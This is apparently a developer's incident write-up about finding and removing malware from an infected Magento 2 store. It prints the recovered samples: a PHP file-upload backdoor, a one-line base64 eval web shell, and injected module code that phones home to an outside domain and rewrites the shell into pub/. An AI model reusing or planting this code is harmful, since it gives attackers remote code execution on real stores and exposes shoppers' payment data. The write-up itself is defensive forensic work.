Recently I onboarded a new client, who was looking for a new development partner. The site was running 2.3.4, so I was expecting we would need to perform a few updates and for there to be some security holes to patch.

I ran Ecomscan, as always, during my initial audit of the site. And that highlighted 4 samples of malware on the store! Much to the surprise of the client, who had zero clue of the site being infected. So into firefighting mode we went.

Identification/Locating the Malware

First of we took a snapshot of the VM, so we do not have to worry too much about damaging the infected files potential affecting analysis later on.

Since we did not have access to a valid license for Ecomscan, we started with the singular DB sample since that should be fairly easy to find. We started with some wildcard searches for common characteristics of malware in key tables. Looking for base64 strings & script tags, in tables such as core_config_data, cms_page, cms_block and layout update tables often will expose the malware. In our case, we found the malware hiding in core_config_data in the shipping policy entry by its opening script tag followed by some base64 looking characters.

Now that we found the DB sample, its time to move onto the files. Usually I just start with a simple analysis of the common directories. Root, pub, var, etc. Nothing stood out as out of place in the root directory, looking into the pub folder 2 files caused immediate alarm bells. pub/health_check_old.php and pub/web_system.php. A very simple look at the contents of these files confirmed suspicions, with both being very short php scripts handling user inputted data. And to triple check, the timestamps of the files match those in the Ecomscan report.

Now, onto the last reported file. I continued with my manual inspections of suspect directories, and a find of non media files in pub/media. No results. Unfortunately for me, the site was previously managed in a poor way. No VCS, no deployment process, just FTPing changes and SSH to run commands. Alongside most of the modules being installed under app/code. So I had no source of truth for the vendor code of the site.

Where to go next… I move onto targeted Ecomscans to analysis, singular vendors under app/code. In the attempted of locating the malware or a false positive. Bingo! We got a hit on the Mageants vendor, which conveniently had a single module under it. I continued to drill down into each module directory starting at the most likely suspects, Controller, Plugin, Observer. The Observer directory flagged as malware. I manually inspected the source code of the observers, and noticed some very Jank looking base64 code and a curl command. Running Ecomscan directly at this file flags Malware and highlights the timestamps are a match.

Solutions before Analysis

Now that we have identified the issue, and have a Snapshot of the Malware. Its time to rectify the issues before it can potentially affect more visitors.

The DB sample, was simple. Set the content of the config entry an empty string.

UPDATE core_config_data SET value = '' WHERE path = 'shipping/shipping_policy/shipping_policy_content';

Now onto the files under pub, we can simply remove these with a rm command.

rm pub/health_check_old.php pub/web_system.php

Now for the altered Mageants observer, this poses a bit more hassle to resolve. It’s a paid module under app/code, which we do not have credentials for. So in turn we have no source of truth of this module. So after performing some simple analysis and confirming the suspicious looking code is indeed malware, we removed the lines of Malware. And reached out to the vendor to see if they can provide a clean copy of the module or at least the infected files. (Which they did, thanks Mageants!)

The Juicy part: Analysis

Stripe CC Scraper

I’ve wrote a separate post on the analysis of this over at . But in short, its a cookie cutter card scraper. Replacing the Stripe form, with a custom one, extracting data to a separate domain. Before re-enabling the original form with a generic Try again error.

A few things of note with this specific sample

  • It was disabling Paypal & Amazon payments forcing customers through the compromised stripe form
  • The target endpoint for the data was the health_check.php file on another Magento 2 site, selling spanish crisps.
  • According to the config updated_at date it had been present since 04-2024

Web System

This appears to be a simple file upload exploit, proving a HTML form to allow an attack to upload any file to the system. This file is inaccessible due to nginx configuration so its not believed it was abused in anyway. Although due to lack of setup and history on the project, we can only speak about the setup as we inherited it. According to the file timestamp, it had been in place since 05-2023 almost a year!

<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>
<?php
if($_POST['_upl']=="Upload"){if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name']));}?>

Health Check Old

This appears to be a simple RCE exploit, evaluating any supplied base64 data passed in a PDP POST field. Again this is believed not to have been exploited due to nginx configuration. This file is showing as been in place since 12-2023.

<?php echo "OK.";@eval(base64_decode($_POST["pdp"]));

Mageants Order Attachment

This malware is different in the sense it modifies an genuine module file. And it appears to just handle persisting the previous health_check_old sample from above. The malware adds a class property called secure_sp_keys which is an array of base64 encoded strings

    public $secure_sp_keys = [
        'global_key' => 'PD9waHAgZWNobyAiT0suIjtAZXZhbChiYXN',
        'local_key' => 'lNjRfZGVjb2RlKCRfUE9TVFsicGRwIl0pKTs',
        'health_key' => 'aGVhbHRoX2NoZWNrX29sZC5waHA'
    ];

Then in the execute method, the malware adds two sections. Firstly, a curl POST request to the domain “https://mageants.sbs” with the magento version, Magento domain and infected module name.

    $service_url = 'https://mageants.sbs';
    $uri = $this->StoreManager->getStore()->getBaseUrl();
    $curl_post_data = [
        'ext_name' => 'order_attachment',
        'mag_v' => '2.3-2.4'
    ];
    $headers = ["Origin" => $uri];
    try {
        $this->curl->setHeaders($headers);
        $this->curl->post($service_url, $curl_post_data);
    } catch (\Exception $e) {}

Then it also adds some file_put_contents statements that handles writing the encoded malware from the secure_sp_keys property to the pub folder.

    $om = \Magento\Framework\App\ObjectManager::getInstance();
    $directoryList = $om->get('Magento\Framework\App\Filesystem\DirectoryList');

    if(file_exists($directoryList->getPath('pub').'/'.base64_decode($this->secure_sp_keys['health_key']))){
        if(strcasecmp(file_get_contents($directoryList->getPath('pub').'/'.base64_decode($this->secure_sp_keys['health_key'])), base64_decode($this->secure_sp_keys['global_key'].$this->secure_sp_keys['local_key'])) != 0){
            file_put_contents($directoryList->getPath('pub').'/'.base64_decode($this->secure_sp_keys['health_key']), base64_decode($this->secure_sp_keys['global_key'].$this->secure_sp_keys['local_key']));
        }
    }else{
        file_put_contents($directoryList->getPath('pub').'/'.base64_decode($this->secure_sp_keys['health_key']), base64_decode($this->secure_sp_keys['global_key'].$this->secure_sp_keys['local_key']));
    }